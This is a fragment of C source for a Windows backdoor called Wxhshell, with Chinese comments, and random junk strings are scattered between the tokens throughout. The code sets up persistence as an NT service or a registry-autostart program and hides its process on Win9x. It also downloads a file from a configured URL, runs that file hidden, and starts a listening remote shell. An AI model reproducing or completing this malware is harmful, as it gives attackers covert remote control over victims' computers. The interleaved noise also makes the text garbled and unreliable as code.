u1- char procName[255]; )])nd"E unsigned long cbNeeded; jj,CBNo( M2kvj'WWq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1 5heLnei 6N49q-.Lg CloseHandle(hProcess); ]KQv]' qix$ }(P if(strstr(procName,"services")) return 1; // 以服务启动 "|Ke/0rGB r* q return 0; // 注册表启动 XnwVK } =:M/hM)# QkFB\v // 主模块 v~*Co}0OB int StartWxhshell(LPSTR lpCmdLine) -Qy@-s $ { %jE0Z4\ SOCKET wsl; >]L\B w BOOL val=TRUE; Iq0[Kd0.j int port=0; K/YXLR + struct sockaddr_in door; n#l~B@ <(!~s><. if(wscfg.ws_autoins) Install(); &wX568o D03QisH= port=atoi(lpCmdLine); .GSK!1{@ [;C|WTYSL if(port<=0) port=wscfg.ws_port; o5E5s9n Gw$Y`]ipy WSADATA data; 6Y%{ YQ}s| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; { v [ qOTo p- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ez/>3:; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8DuD1hZq door.sin_family = AF_INET; +h)1NX;o1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); \>\_OfY1W door.sin_port = htons(port); Gc=uKQ+\V jK]An;l{Z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Y%Si5 closesocket(wsl); czLY+I;V3 return 1; m;JB=MZ=m } <74r FfC\uuRe if(listen(wsl,2) == INVALID_SOCKET) { V2SHF closesocket(wsl); w.(?O; return 1; Lng@'Yr } +,_%9v?3 Wxhshell(wsl); Sc?q}tt^C WSACleanup(); q`|rS6 #0f6X,3 return 0; z.~jqxA9 1=_Qj}!1 } 2@!B;6*8q -cWGF // 以NT服务方式启动 I_Omv{&u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =PjxMC._ { d/[kky} DWORD status = 0; } 4ZWAzH DWORD specificError = 0xfffffff; e0M'\'J LvCX(yjZ* serviceStatus.dwServiceType = SERVICE_WIN32; +}
y"S - serviceStatus.dwCurrentState = SERVICE_START_PENDING; y7Nd3\v [\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LMNmG]#! serviceStatus.dwWin32ExitCode = 0; XG E.*aI serviceStatus.dwServiceSpecificExitCode = 0; B2Kh~Xd serviceStatus.dwCheckPoint = 0; O Cnra serviceStatus.dwWaitHint = 0; 5FE& q8}he~a hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2;x+#D8 if (hServiceStatusHandle==0) return; 9TZ 6c TU*Y?D
L status = GetLastError(); Fd#Zu.Np if (status!=NO_ERROR) (3 Z;c_N { lV9 serviceStatus.dwCurrentState = SERVICE_STOPPED; FzAzAl5 serviceStatus.dwCheckPoint = 0; tF6-@T\6 serviceStatus.dwWaitHint = 0; RWFvf serviceStatus.dwWin32ExitCode = status; \x|8 serviceStatus.dwServiceSpecificExitCode = specificError; * ).YU[i SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,'n`]@0?\ return; !gcea?I } "8Lv {$V2L4 serviceStatus.dwCurrentState = SERVICE_RUNNING; YRCOh:W* serviceStatus.dwCheckPoint = 0; F_0@Sh" serviceStatus.dwWaitHint = 0; #8$"84&N. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e|q~t
{=9S } L#S|2L_hC :%h|i&B
// 处理NT服务事件,比如:启动、停止 . I."q VOID WINAPI NTServiceHandler(DWORD fdwControl) r^{Bw1+ { O
Q$C#:? switch(fdwControl) q0b*#j { ?g:sAR' case SERVICE_CONTROL_STOP: ff]fN:}V serviceStatus.dwWin32ExitCode = 0; 4(,M&NC
serviceStatus.dwCurrentState = SERVICE_STOPPED; u'^kpr`y serviceStatus.dwCheckPoint = 0; {gxP_> serviceStatus.dwWaitHint = 0; vOq N=bp { =&<d4'(Qk SetServiceStatus(hServiceStatusHandle, &serviceStatus); h"[:$~/UJ } 7GCxd#DJ return; '2UQN7@d case SERVICE_CONTROL_PAUSE: >hzSd@J& serviceStatus.dwCurrentState = SERVICE_PAUSED; 50`|#zF^# break; ";/ogFi case SERVICE_CONTROL_CONTINUE: uL~wMX serviceStatus.dwCurrentState = SERVICE_RUNNING; 2qQ;U?:q break; yF1p^>*ak& case SERVICE_CONTROL_INTERROGATE: C{+JrHV%h break; aj/+#G2 }; .Hk.'>YR SetServiceStatus(hServiceStatusHandle, &serviceStatus); :98:U~d1 } (g&@E(@]? saDu'SmYV // 标准应用程序主函数 3d,:,f|h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )[u'LgVN/L { .gM6m8l9wp #<s"?Y%- // 获取操作系统版本 !R@jbM OsIsNt=GetOsVer(); rHuzGSX54 GetModuleFileName(NULL,ExeFile,MAX_PATH); U$S{j&? CNhLp# // 从命令行安装 KT7R0 v if(strpbrk(lpCmdLine,"iI")) Install(); >
6=3y4tP 0{XT#H // 下载执行文件 !}5rd\ if(wscfg.ws_downexe) { H}q$6WE if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <;uM/vSi WinExec(wscfg.ws_filenam,SW_HIDE); 8'NT_NPNb } i29a1nD4Hm ~)zxIO! if(!OsIsNt) { cmAdQ)(Kzd // 如果时win9x,隐藏进程并且设置为注册表启动 YLS*uXB&. HideProc(); AX{7].)F StartWxhshell(lpCmdLine); URt+MTU[ } B@#vS=g else hztqZ: if(StartFromService()) ((<\VQ,>( // 以服务方式启动 I*$-[3/ StartServiceCtrlDispatcher(DispatchTable); C\OZs%]At else #k[Y(_ // 普通方式启动 ~Nf|,{[(5 StartWxhshell(lpCmdLine); ]EUQMyR l|iOdKr h return 0; /0$405 }
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